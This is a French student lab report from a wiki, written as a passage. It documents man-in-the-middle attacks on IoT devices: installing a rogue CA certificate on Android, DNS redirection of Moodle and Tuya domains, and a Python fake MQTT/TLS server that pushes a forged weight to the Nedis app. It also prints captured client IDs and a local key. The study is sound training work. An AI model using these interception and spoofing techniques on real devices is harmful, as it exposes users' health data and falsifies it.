echo &amp;quot;id=tuya_cert&amp;quot; &amp;gt; tuya_cert/module.prop echo &amp;quot;name=Tuya Certificate Injection&amp;quot; &amp;gt;&amp;gt; tuya_cert/module.prop echo &amp;quot;version=1.0&amp;quot; &amp;gt;&amp;gt; tuya_cert/module.prop echo &amp;quot;versionCode=1&amp;quot; &amp;gt;&amp;gt; tuya_cert/module.prop echo &amp;quot;author=Victo&amp;quot; &amp;gt;&amp;gt; tuya_cert/module.prop echo &amp;quot;description=Injecte le certificat Tuya dans le systeme&amp;quot; &amp;gt;&amp;gt; tuya_cert/module.prop&lt;br /&gt;
touch tuya_cert/auto_mount&lt;br /&gt;
cp /sdcard/Download/26e33623.0 /data/adb/modules/tuya_cert/system/etc/security/cacerts/&lt;br /&gt;
chmod 644 /data/adb/modules/tuya_cert/system/etc/security/cacerts/26e33623.0&lt;br /&gt;
chown root:root /data/adb/modules/tuya_cert/system/etc/security/cacerts/26e33623.0&lt;br /&gt;
reboot&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;On a donc maintenant une VM Android avec notre certificat. Il faut maintenant que le PC qui host cette VM soit connecté à notre borne WiFi pour pouvoir constater que notre site Moodle.com est bien redirigé et sécurisé. &lt;br /&gt;
&lt;br /&gt;
= Machine &amp;lt;code&amp;gt;Android&amp;lt;/code&amp;gt; (06/10) =&lt;br /&gt;
Pour cette dernière partie, j'ai retrouvé une tablette sous &amp;lt;code&amp;gt;Android 4.4 KitKat&amp;lt;/code&amp;gt; qui permet d'ajouter des autorités de certification.&lt;br /&gt;
&lt;br /&gt;
C'est donc ce que j'ai fait :&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Photo_certifiable.png|sans_cadre]]&lt;br /&gt;
&lt;br /&gt;
Maintenant, on constate en se connectant sur moodle.com à partir de cette tablette que l'on est bien redirigé vers le faux site et qu'il est sécurisé avec le magnifique cadenas vert.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Photo moodle.png|sans_cadre]]&lt;br /&gt;
&lt;br /&gt;
(cette page web date du 06/10/25, elle n'est plus valable depuis le 10/10/25...)&lt;br /&gt;
&lt;br /&gt;
= Nedis Wi-Fi Smart Personal Scales =&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Dans ce second TP, nous allons jouer avec ce pèse-personne de nedis. &lt;br /&gt;
&lt;br /&gt;
Dans un premier temps, j'ai connecté la balance au réseau SE5-SSID10.&lt;br /&gt;
&lt;br /&gt;
Puis j'ai remarqué que quand je tentais de me peser, la balance affichait err2.&lt;br /&gt;
&lt;br /&gt;
Après une courte investigation, il s'agit d'une balance qui émet des signaux électriques pour analyser la composition corporelle donc si on se pèse avec des chaussures, cela pose problème.&lt;br /&gt;
&lt;br /&gt;
Pour la suite du projet, on se pèsera avec les mains.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Poid_sur_app_nedis.png|sans_cadre]]&lt;br /&gt;
&lt;br /&gt;
== Redirection du poids vers notre serveur ==&lt;br /&gt;
Dans un premier temps, mon idée était de faire croire à la balance qu'elle communique effectivement avec son serveur pour pouvoir récupérer les informations sur la santé de l'utilisateur. &lt;br /&gt;
&lt;br /&gt;
Ici on constate sur ces paquets la requête de la balance pour obtenir une IP, puis le moment où elle l'obtient.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Fichier:WS connection balance.png|sans_cadre|858x858px]]&lt;br /&gt;
&lt;br /&gt;
Je peux donc ping ma balance depuis mon PC (celui qui host ma VM Android)&lt;br /&gt;
&lt;br /&gt;
[[Fichier:PIng balance.png|sans_cadre]]&lt;br /&gt;
&lt;br /&gt;
Maintenant je veux voir les messages de communication entre la balance, son serveur et l'application, pour ce faire, je fais &amp;lt;code&amp;gt;tcpdump -i eth1 -n port 53&amp;lt;/code&amp;gt; :&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
14:46:51.115996 IP 172.16.10.105.49153 &amp;gt; 172.16.10.1.53: 13861+ A? m2.tuyaeu.com. (31)&lt;br /&gt;
14:46:51.125611 IP 172.16.10.1.53 &amp;gt; 172.16.10.105.49153: 13861 3/0/0 A 3.120.92.134, A 18.184.31.90, A 35.156.44.172 (79)&lt;br /&gt;
14:46:51.168250 IP 172.16.10.105.49153 &amp;gt; 172.16.10.1.53: 59035+ A? a3.tuyaeu.com. (31)&lt;br /&gt;
14:46:51.177967 IP 172.16.10.1.53 &amp;gt; 172.16.10.105.49153: 59035 3/0/0 A 18.198.62.99, A 18.158.227.228, A 3.67.116.46 (79)&lt;br /&gt;
14:46:51.703179 IP 172.16.10.102.57661 &amp;gt; 172.16.10.1.53: 30982+ AAAA? a1.tuyaeu.com. (31)&lt;br /&gt;
14:46:51.706085 IP 172.16.10.102.57662 &amp;gt; 172.16.10.1.53: 15654+ A? a1.tuyaeu.com. (31)&lt;br /&gt;
14:46:51.713159 IP 172.16.10.1.53 &amp;gt; 172.16.10.102.57661: 30982 3/0/0 AAAA 2a05:d014:afa:af02:262a:be09:e328:ff21, AAAA 2a05:d014:afa:af01:87dc:dc67:35a1:5bfe, AAAA 2a05:d014:afa:af00:1ee2:1f00:e061:e8bf (115)&lt;br /&gt;
14:46:51.715736 IP 172.16.10.1.53 &amp;gt; 172.16.10.102.57662: 15654 3/0/0 A 3.78.92.3, A 35.159.150.3, A 3.121.33.91 (79)&lt;br /&gt;
&lt;br /&gt;
56 packets captured&lt;br /&gt;
56 packets received by filter&lt;br /&gt;
0 packets dropped by kernel&lt;br /&gt;
[4343449.827028] device eth1 left promiscuous mode&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Visiblement notre balance communique avec Tuya via m2.tuyaeu.com et a3.tuyaeu.com. Par la suite on constate qu'elle communique avec une multitude de XY.tuyaeu.com.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Maintenant, on refait une config similaire à moodle.com, une zone &amp;quot;tuyaeu.com&amp;quot; dans le fichier de conf de Bind, un fichier db.tuyaeu.com et une page Apache. Enfin on vient la signer avec notre autorité de certification.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;tcpdump -i eth1 -n port 53&amp;lt;/code&amp;gt; :&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
12:30:58.490060 IP 172.16.10.105.49153 &amp;gt; 172.16.10.1.53: 50294+ A? m2.tuyaeu.com. (31)&lt;br /&gt;
12:30:58.490174 IP 172.16.10.1.53 &amp;gt; 172.16.10.105.49153: 50294* 2/0/0 CNAME ns.tuyaeu.com., A 172.16.10.1 (64)&lt;br /&gt;
12:30:58.540041 IP 172.16.10.105.49153 &amp;gt; 172.16.10.1.53: 23785+ A? a3.tuyaeu.com. (31)&lt;br /&gt;
12:30:58.540132 IP 172.16.10.1.53 &amp;gt; 172.16.10.105.49153: 23785* 2/0/0 CNAME ns.tuyaeu.com., A 172.16.10.1 (64)&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Maintenant on constate que, quand la balance demande l'adresse du serveur xy.tuyaeu.com, notre DNS lui répond avec l'IP de notre serveur. &lt;br /&gt;
&lt;br /&gt;
On va créer un faux serveur pour déchiffrer ce que nous dit la balance.&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
root@SE5:/etc/apache2/sites-available# openssl s_server -accept 8886 -cert /etc/ssl/apache/ca.crt -key /etc/ssl/apache/ca.key -debug&lt;br /&gt;
Using default temp DH parameters&lt;br /&gt;
ACCEPT&lt;br /&gt;
read from 0x55b0357c45c0 [0x55b0357db203] (5 bytes =&amp;gt; 5 (0x5))&lt;br /&gt;
0000 - 16 03 03 00 3e                                    ....&amp;gt;&lt;br /&gt;
read from 0x55b0357c45c0 [0x55b0357db208] (62 bytes =&amp;gt; 62 (0x3E))&lt;br /&gt;
0000 - 01 00 00 3a 03 03 42 41-6f 68 42 41 6f 68 62 6d   ...:..BAohBAohbm&lt;br /&gt;
0010 - 64 36 61 47 39 31 49 46-52 31 65 56 6a 61 47 35   d6aG91IFR1eVjaG5&lt;br /&gt;
0020 - 76 62 47 39 53 42 00 00-04 00 ae 00 ff 01 00 00   vbG9SB..........&lt;br /&gt;
0030 - 0d 00 01 00 01 02 00 16-00 00 00 17 00 00         ..............&lt;br /&gt;
write to 0x55b0357c45c0 [0x55b0357e4430] (7 bytes =&amp;gt; 7 (0x7))&lt;br /&gt;
0000 - 15 03 03 00 02 02 28                              ......(&lt;br /&gt;
ERROR&lt;br /&gt;
801B7259B87F0000:error:0A0000C1:SSL routines:tls_post_process_client_hello:no shared cipher:../ssl/statem/statem_srvr.c:2220:&lt;br /&gt;
shutting down SSL&lt;br /&gt;
CONNECTION CLOSED&lt;br /&gt;
read from 0x55b0357c2410 [0x55b0357db203] (5 bytes =&amp;gt; 5 (0x5))&lt;br /&gt;
0000 - 16 03 03 00 3e                                    ....&amp;gt;&lt;br /&gt;
read from 0x55b0357c2410 [0x55b0357db208] (62 bytes =&amp;gt; 62 (0x3E))&lt;br /&gt;
0000 - 01 00 00 3a 03 03 42 41-6f 68 42 41 6f 68 62 6d   ...:..BAohBAohbm&lt;br /&gt;
0010 - 64 36 61 47 39 31 49 46-52 31 65 56 6a 61 47 35   d6aG91IFR1eVjaG5&lt;br /&gt;
0020 - 76 62 47 39 53 42 00 00-04 00 ae 00 ff 01 00 00   vbG9SB..........&lt;br /&gt;
0030 - 0d 00 01 00 01 02 00 16-00 00 00 17 00 00         ..............&lt;br /&gt;
write to 0x55b0357c2410 [0x55b0357e4430] (7 bytes =&amp;gt; 7 (0x7))&lt;br /&gt;
0000 - 15 03 03 00 02 02 28                              ......(&lt;br /&gt;
ERROR&lt;br /&gt;
801B7259B87F0000:error:0A0000C1:SSL routines:tls_post_process_client_hello:no shared cipher:../ssl/statem/statem_srvr.c:2220:&lt;br /&gt;
shutting down SSL&lt;br /&gt;
CONNECTION CLOSED&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;On constate que, dès que la balance tente de se connecter, elle ferme la connexion pour cause &amp;quot;no shared cipher&amp;quot;.&lt;br /&gt;
&lt;br /&gt;
Malheureusement, je constate (un peu tard) que notre balance ne pourra pas communiquer avec notre serveur puisqu'elle ne possède pas le certificat de notre autorité de certification. Elle refuse donc de communiquer avec notre serveur.&lt;br /&gt;
&lt;br /&gt;
Il faudrait réussir à injecter le certificat dans la balance en communiquant directement avec elle.&lt;br /&gt;
&lt;br /&gt;
== Envoi de fausses informations vers l'application ==&lt;br /&gt;
&lt;br /&gt;
Dans cette partie, nous allons tenter d'envoyer un poids à l'application depuis notre serveur.&lt;br /&gt;
&lt;br /&gt;
L'appli tape sur 443 et 8883 (mqtt qui fonctionne avec tls) comme on peut le voir sur cet extrait:&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
(test) root@SE5:~/py_file# tcpdump -i eth1 -n src 172.16.10.102 and not port 53&lt;br /&gt;
&lt;br /&gt;
...&lt;br /&gt;
&lt;br /&gt;
11:59:46.829382 IP 172.16.10.102.53314 &amp;gt; 172.16.10.1.443: Flags [.], ack 1257, win 251, length 0&lt;br /&gt;
11:59:47.005041 IP 172.16.10.102.54915 &amp;gt; 172.16.10.255.54915: UDP, length 263&lt;br /&gt;
11:59:47.295737 IP 172.16.10.102.53313 &amp;gt; 172.16.10.1.8883: Flags [S], seq 3014816869, win 65535, options [mss 1460,nop,wscale 8,nop,nop,sackOK], length 0&lt;br /&gt;
11:59:47.346713 IP 172.16.10.102.53315 &amp;gt; 172.16.10.1.443: Flags [S], seq 1755898328, win 65535, options [mss 1460,nop,wscale 8,nop,nop,sackOK], length 0&lt;br /&gt;
11:59:47.347853 IP 172.16.10.102.53315 &amp;gt; 172.16.10.1.443: Flags [.], ack 273869652, win 255, length 0&lt;br /&gt;
11:59:47.534641 IP 172.16.10.102.53318 &amp;gt; 172.16.10.1.443: Flags [F.], seq 547, ack 1257, win 251, length 0&lt;br /&gt;
&lt;br /&gt;
...&lt;br /&gt;
&lt;br /&gt;
11:59:48.189587 IP 172.16.10.102.53319 &amp;gt; 172.16.10.1.443: Flags [P.], seq 517:547, ack 1256, win 251, length 30&lt;br /&gt;
11:59:48.190681 IP 172.16.10.102.53319 &amp;gt; 172.16.10.1.443: Flags [.], ack 1257, win 251, length 0&lt;br /&gt;
11:59:48.256593 IP 172.16.10.102.53319 &amp;gt; 172.16.10.1.443: Flags [F.], seq 547, ack 1257, win 251, length 0&lt;br /&gt;
11:59:48.324124 IP 172.16.10.102.53313 &amp;gt; 172.16.10.1.8883: Flags [S], seq 3014816869, win 65535, options [mss 1460,nop,wscale 8,nop,nop,sackOK], length 0&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
On va donc tenter d'envoyer des informations erronées de notre serveur vers notre application.&lt;br /&gt;
&lt;br /&gt;
Dans un premier temps, on va tenter d'établir une connexion sécurisée entre l'appli et notre serveur.&lt;br /&gt;
&lt;br /&gt;
Tuya utilise un protocole MQTT pour les échanges de données. On va donc simuler un serveur MQTT en Python qui utilise un certificat signé par notre autorité de certification.&amp;lt;syntaxhighlight lang=&amp;quot;python3&amp;quot;&amp;gt;&lt;br /&gt;
import socket&lt;br /&gt;
import ssl&lt;br /&gt;
&lt;br /&gt;
CERT_FILE = &amp;quot;/etc/apache2/ssl/tuya.crt&amp;quot; &lt;br /&gt;
KEY_FILE  = &amp;quot;/etc/apache2/ssl/tuya.key&amp;quot;  &lt;br /&gt;
PORT = 8883&lt;br /&gt;
&lt;br /&gt;
def start_server():&lt;br /&gt;
    context = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER)&lt;br /&gt;
    try:&lt;br /&gt;
        context.load_cert_chain(certfile=CERT_FILE, keyfile=KEY_FILE)&lt;br /&gt;
    except Exception as e:&lt;br /&gt;
        print(f&amp;quot;impossible de charger les clés SSL\n{e}&amp;quot;)&lt;br /&gt;
        return&lt;br /&gt;
&lt;br /&gt;
    bindsocket = socket.socket()&lt;br /&gt;
    bindsocket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)&lt;br /&gt;
    bindsocket.bind(('0.0.0.0', PORT))&lt;br /&gt;
    bindsocket.listen(5)&lt;br /&gt;
&lt;br /&gt;
    print(f&amp;quot;faux Serveur MQTT en écoute sur le port {PORT}...&amp;quot;)&lt;br /&gt;
    print(&amp;quot;en attente de l'application Android...&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
    while True:&lt;br /&gt;
        try:&lt;br /&gt;
            newsocket, fromaddr = bindsocket.accept()&lt;br /&gt;
            print(f&amp;quot;\nconnexion TCP reçue de {fromaddr[0]}&amp;quot;)&lt;br /&gt;
            &lt;br /&gt;
            try:&lt;br /&gt;
                conn = context.wrap_socket(newsocket, server_side=True)&lt;br /&gt;
                print(f&amp;quot;handshake SSL réussi&amp;quot;)&lt;br /&gt;
                &lt;br /&gt;
                data = conn.recv(1024)&lt;br /&gt;
                print(f&amp;quot;données reçues ({len(data)} octets) :&amp;quot;)&lt;br /&gt;
                print(data)&lt;br /&gt;
                &lt;br /&gt;
            except ssl.SSLError as e:&lt;br /&gt;
                print(f&amp;quot;échec SSL rejet du certificat.\n{e}&amp;quot;)&lt;br /&gt;
            except Exception as e:&lt;br /&gt;
                print(f&amp;quot;erreur de lecture : {e}&amp;quot;)&lt;br /&gt;
            finally:&lt;br /&gt;
                pass&lt;br /&gt;
&lt;br /&gt;
        except KeyboardInterrupt:&lt;br /&gt;
            print(&amp;quot;\narrêt.&amp;quot;)&lt;br /&gt;
            break&lt;br /&gt;
&lt;br /&gt;
if __name__ == '__main__':&lt;br /&gt;
    start_server()&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
connexion TCP reçue de 172.16.10.102&lt;br /&gt;
handshake SSL réussi&lt;br /&gt;
données reçues (529 octets) :&lt;br /&gt;
b'\x10\x8e\x04\x00\x04MQTT\x04\xce\x00&amp;lt;\x00lcom.nedis.smartlife_mb_e5a1220d6003e352f8b34a81cda1f2bf2e2880ce4093_d8439672c8e94a0c3446d4276d3a2abc_DEFAULT\x00\x0ftuya/smart/will\x00\xfa{&amp;quot;clie&lt;br /&gt;
ntId&amp;quot;:&amp;quot;com.nedis.smartlife_mb_e5a1220d6003e352f8b34a81cda1f2bf2e2880ce4093_d8439672c8e94a0c3446d4276d3a2abc_DEFAULT&amp;quot;,&amp;quot;deviceType&amp;quot;:&amp;quot;ANDROID&amp;quot;,&amp;quot;message&amp;quot;:&amp;quot;&amp;quot;,&amp;quot;userName&amp;quot;:&amp;quot;e5a1220d6003e352f8b34a81&lt;br /&gt;
cda1f2bf2e2880ce4093_d8439672c8e94a0c3446d4276d3a2abc&amp;quot;}\x00up1027735_v1_4dtc78phe7grtfdfv7fp_a4206d71_mb_eu17623708062605mpDdzpA355dad9b8086f63442d98e227e039cf5315158b056398c8fb\x00\x10388c&lt;br /&gt;
a5a77b82c5ad'&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;On constate à la suite de cela que notre application fait totalement confiance à notre faux serveur. Il faut maintenant le format sous lequel envoyer notre message pour qu'il ajoute un poids dans l'application.&lt;br /&gt;
&lt;br /&gt;
On tente donc d'envoyer en clair le poids vers l'application de Nedis.&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
(test) root@SE5:~/py_file# cat fake_serv2.py &lt;br /&gt;
import socket&lt;br /&gt;
import ssl&lt;br /&gt;
import time&lt;br /&gt;
import json&lt;br /&gt;
import struct&lt;br /&gt;
&lt;br /&gt;
# ================= CONFIGURATION =================&lt;br /&gt;
CERT_FILE = &amp;quot;/etc/ssl/apache/ssl/tuya.crt&amp;quot;&lt;br /&gt;
KEY_FILE  = &amp;quot;/etc/ssl/apache/ssl/tuya.key&amp;quot;&lt;br /&gt;
PORT = 8883&lt;br /&gt;
&lt;br /&gt;
PAYLOAD_POIDS = {&lt;br /&gt;
    &amp;quot;protocol&amp;quot;: 4,&lt;br /&gt;
    &amp;quot;t&amp;quot;: int(time.time()),&lt;br /&gt;
    &amp;quot;data&amp;quot;: {&lt;br /&gt;
        &amp;quot;dps&amp;quot;: {&lt;br /&gt;
            &amp;quot;1&amp;quot;: 8050,&lt;br /&gt;
            &amp;quot;2&amp;quot;: True,&lt;br /&gt;
            &amp;quot;3&amp;quot;: &amp;quot;kg&amp;quot;&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
# =================================================&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
def encode_remaining_length(length):&lt;br /&gt;
    out = bytearray()&lt;br /&gt;
    while True:&lt;br /&gt;
        byte = length % 128&lt;br /&gt;
        length //= 128&lt;br /&gt;
        if length &amp;gt; 0:&lt;br /&gt;
            byte |= 0x80&lt;br /&gt;
        out.append(byte)&lt;br /&gt;
        if length == 0:&lt;br /&gt;
            break&lt;br /&gt;
    return out&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
def create_mqtt_packet(pkt_type, flags, payload):&lt;br /&gt;
    header = bytes([(pkt_type &amp;lt;&amp;lt; 4) | flags])&lt;br /&gt;
    return header + encode_remaining_length(len(payload)) + payload&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
def start_server():&lt;br /&gt;
    context = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER)&lt;br /&gt;
    context.load_cert_chain(certfile=CERT_FILE, keyfile=KEY_FILE)&lt;br /&gt;
&lt;br /&gt;
    sock = socket.socket()&lt;br /&gt;
    sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)&lt;br /&gt;
    sock.bind((&amp;quot;0.0.0.0&amp;quot;, PORT))&lt;br /&gt;
    sock.listen(5)&lt;br /&gt;
&lt;br /&gt;
    print(f&amp;quot;[*] Serveur MQTT TLS prêt sur {PORT}&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
    while True:&lt;br /&gt;
        client, addr = sock.accept()&lt;br /&gt;
        print(f&amp;quot;\n[+] Connexion de {addr[0]}&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
        try:&lt;br /&gt;
            conn = context.wrap_socket(client, server_side=True)&lt;br /&gt;
            print(&amp;quot;TLS OK&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
            while True:&lt;br /&gt;
                header = conn.recv(1)&lt;br /&gt;
                if not header:&lt;br /&gt;
                    break&lt;br /&gt;
&lt;br /&gt;
                pkt_type = header[0] &amp;gt;&amp;gt; 4&lt;br /&gt;
&lt;br /&gt;
                # Remaining length&lt;br /&gt;
                multiplier = 1&lt;br /&gt;
                remaining_len = 0&lt;br /&gt;
                while True:&lt;br /&gt;
                    b = conn.recv(1)[0]&lt;br /&gt;
                    remaining_len += (b &amp;amp; 127) * multiplier&lt;br /&gt;
                    multiplier *= 128&lt;br /&gt;
                    if not (b &amp;amp; 128):&lt;br /&gt;
                        break&lt;br /&gt;
&lt;br /&gt;
                payload = b&amp;quot;&amp;quot;&lt;br /&gt;
                while len(payload) &amp;lt; remaining_len:&lt;br /&gt;
                    payload += conn.recv(remaining_len - len(payload))&lt;br /&gt;
&lt;br /&gt;
                # ================= HANDLERS =================&lt;br /&gt;
&lt;br /&gt;
                # CONNECT&lt;br /&gt;
                if pkt_type == 1:&lt;br /&gt;
                    print(&amp;quot;&amp;gt;&amp;gt;&amp;gt; CONNECT reçu&amp;quot;)&lt;br /&gt;
                    conn.send(b&amp;quot;\x20\x02\x00\x00&amp;quot;)&lt;br /&gt;
                    print(&amp;quot;&amp;lt;&amp;lt;&amp;lt; CONNACK envoyé&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
                # SUBSCRIBE&lt;br /&gt;
                elif pkt_type == 8:&lt;br /&gt;
                    msg_id = payload[0:2]&lt;br /&gt;
                    topic_len = struct.unpack(&amp;quot;!H&amp;quot;, payload[2:4])[0]&lt;br /&gt;
                    topic = payload[4:4+topic_len].decode(errors=&amp;quot;ignore&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
                    print(f&amp;quot;&amp;gt;&amp;gt;&amp;gt; SUBSCRIBE : {topic}&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
                    # SUBACK (QoS 1 accepté)&lt;br /&gt;
                    suback_payload = msg_id + b&amp;quot;\x01&amp;quot;&lt;br /&gt;
                    conn.send(create_mqtt_packet(9, 0x00, suback_payload))&lt;br /&gt;
                    print(&amp;quot;&amp;lt;&amp;lt;&amp;lt; SUBACK OK&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
                    # Mapping OUT -&amp;gt; IN&lt;br /&gt;
                    pub_topic = topic.replace(&amp;quot;/out/&amp;quot;, &amp;quot;/in/&amp;quot;)&lt;br /&gt;
                    print(f&amp;quot;Publication sur : {pub_topic}&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
                    time.sleep(0.5)&lt;br /&gt;
&lt;br /&gt;
                    json_payload = json.dumps(PAYLOAD_POIDS)&lt;br /&gt;
                    topic_bytes = pub_topic.encode()&lt;br /&gt;
&lt;br /&gt;
                    var_header = struct.pack(&amp;quot;!H&amp;quot;, len(topic_bytes)) + topic_bytes&lt;br /&gt;
                    packet_payload = var_header + json_payload.encode()&lt;br /&gt;
&lt;br /&gt;
                    # PUBLISH QoS 1&lt;br /&gt;
                    packet = create_mqtt_packet(3, 0x02, packet_payload)&lt;br /&gt;
                    conn.send(packet)&lt;br /&gt;
&lt;br /&gt;
                    print(f&amp;quot;Payload envoyé (NON chiffré)&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
                # PINGREQ&lt;br /&gt;
                elif pkt_type == 12:&lt;br /&gt;
                    conn.send(b&amp;quot;\xd0\x00&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
                else:&lt;br /&gt;
                    print(f&amp;quot;Packet MQTT type {pkt_type} ignoré&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
        except Exception as e:&lt;br /&gt;
            print(f&amp;quot;Erreur connexion : {e}&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
        finally:&lt;br /&gt;
            try:&lt;br /&gt;
                conn.close()&lt;br /&gt;
            except:&lt;br /&gt;
                pass&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
if __name__ == &amp;quot;__main__&amp;quot;:&lt;br /&gt;
    start_server()&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
On cherche dans le fichier shared_prefs situé dans /data/data/com.nedis.smartlife sur la VM Android une clé locale qui permettrait de chiffrer le message pour que Nedis l'accepte.&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
 emulator64_x86_64_arm64:/data/data/com.nedis.smartlife/shared_prefs # grep -r &amp;quot;localKey&amp;quot;&lt;br /&gt;
&lt;br /&gt;
./sig_mesh_storage.xml:    &amp;lt;string name=&amp;quot;sig_mesheu176237y8062605m7Ddzpr3a6d803edeb314f364c55d2caab540918&amp;quot;&amp;gt;[{&amp;amp;quot;appkey&amp;amp;quot;:&amp;amp;quot;2FC5C9F42A44F9D243F960231C370DC6&amp;amp;quot;,&amp;amp;quot;code&amp;amp;quot;:&amp;amp;quot;mebf11e37fc6632a9b44qg&amp;amp;quot;,&amp;amp;quot;endTime&amp;amp;quot;:0,&amp;amp;quot;ivIndex&amp;amp;quot;:0,&amp;amp;quot;key&amp;amp;quot;:&amp;amp;quot;mebf11e37fc6632a9b44qg&amp;amp;quot;,&amp;amp;quot;localKey&amp;amp;quot;:&amp;amp;quot;674d29fb978a1705&amp;amp;quot;,&amp;amp;quot;meshId&amp;amp;quot;:&amp;amp;quot;mebf11e37fc6632a9b44qg&amp;amp;quot;,&amp;amp;quot;meshKey&amp;amp;quot;:&amp;amp;quot;2FC5C9F42A44F9D243F960231C370DC6&amp;amp;quot;,&amp;amp;quot;meshkey&amp;amp;quot;:&amp;amp;quot;2FC5C9F42A44F9D243F960231C370DC6&amp;amp;quot;,&amp;amp;quot;name&amp;amp;quot;:&amp;amp;quot;D8FBEEA2F2B93F4B63EFD7DA83424BA9&amp;amp;quot;,&amp;amp;quot;netWorkkey&amp;amp;quot;:&amp;amp;quot;D8FBEEA2F2B93F4B63EFD7DA83424BA9&amp;amp;quot;,&amp;amp;quot;password&amp;amp;quot;:&amp;amp;quot;fa1667ca872e46d4&amp;amp;quot;,&amp;amp;quot;pv&amp;amp;quot;:&amp;amp;quot;2.1&amp;amp;quot;,&amp;amp;quot;resptime&amp;amp;quot;:0,&amp;amp;quot;share&amp;amp;quot;:false,&amp;amp;quot;startTime&amp;amp;quot;:0,&amp;amp;quot;tempShare&amp;amp;quot;:false}]&amp;lt;/string&amp;gt; &lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Je vais apprendre plus tard que cette clé est une clé qui permet de sécuriser l'échange Bluetooth entre la balance et le téléphone lors de la première connexion. Mais avant de le savoir, j'ai tenté d'améliorer le faux serveur avec cette clé.&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
#!/usr/bin/env python3&lt;br /&gt;
import socket&lt;br /&gt;
import ssl&lt;br /&gt;
import time&lt;br /&gt;
import json&lt;br /&gt;
import struct&lt;br /&gt;
import base64&lt;br /&gt;
import hashlib&lt;br /&gt;
from Crypto.Cipher import AES&lt;br /&gt;
from Crypto.Util.Padding import pad&lt;br /&gt;
&lt;br /&gt;
# ================= CONFIG =================&lt;br /&gt;
CERT_FILE = &amp;quot;/etc/ssl/apache/ssl/tuya.crt&amp;quot;&lt;br /&gt;
KEY_FILE  = &amp;quot;/etc/ssl/apache/ssl/tuya.key&amp;quot;&lt;br /&gt;
PORT = 8883&lt;br /&gt;
&lt;br /&gt;
# LOCAL KEY 16 caractères&lt;br /&gt;
LOCAL_KEY = b&amp;quot;674d29fb978a1705&amp;quot;&lt;br /&gt;
&lt;br /&gt;
# DPS balance (poids correct pour Nedis)&lt;br /&gt;
DPS_POIDS = {&lt;br /&gt;
    &amp;quot;1&amp;quot;: 8050,   # 80.50 kg&lt;br /&gt;
    &amp;quot;2&amp;quot;: 1,      # stable&lt;br /&gt;
    &amp;quot;3&amp;quot;: &amp;quot;kg&amp;quot;&lt;br /&gt;
}&lt;br /&gt;
# =========================================&lt;br /&gt;
&lt;br /&gt;
# ---------- TUYA CRYPTO ----------&lt;br /&gt;
def tuya_encrypt(data: dict, local_key: bytes) -&amp;gt; str:&lt;br /&gt;
    raw = json.dumps(data, separators=(',', ':')).encode()&lt;br /&gt;
    cipher = AES.new(local_key, AES.MODE_ECB)&lt;br /&gt;
    encrypted = cipher.encrypt(pad(raw, 16))&lt;br /&gt;
    return base64.b64encode(encrypted).decode()&lt;br /&gt;
&lt;br /&gt;
def tuya_sign(enc_data: str, ts: int, local_key: bytes) -&amp;gt; str:&lt;br /&gt;
    s = f&amp;quot;data={enc_data}&amp;amp;t={ts}&amp;amp;key={local_key.decode()}&amp;quot;&lt;br /&gt;
    return hashlib.md5(s.encode()).hexdigest()&lt;br /&gt;
&lt;br /&gt;
def build_tuya_payload(dps: dict, device_id: str) -&amp;gt; dict:&lt;br /&gt;
    ts = int(time.time())&lt;br /&gt;
    enc = tuya_encrypt({&lt;br /&gt;
        &amp;quot;devId&amp;quot;: device_id,&lt;br /&gt;
        &amp;quot;dps&amp;quot;: dps&lt;br /&gt;
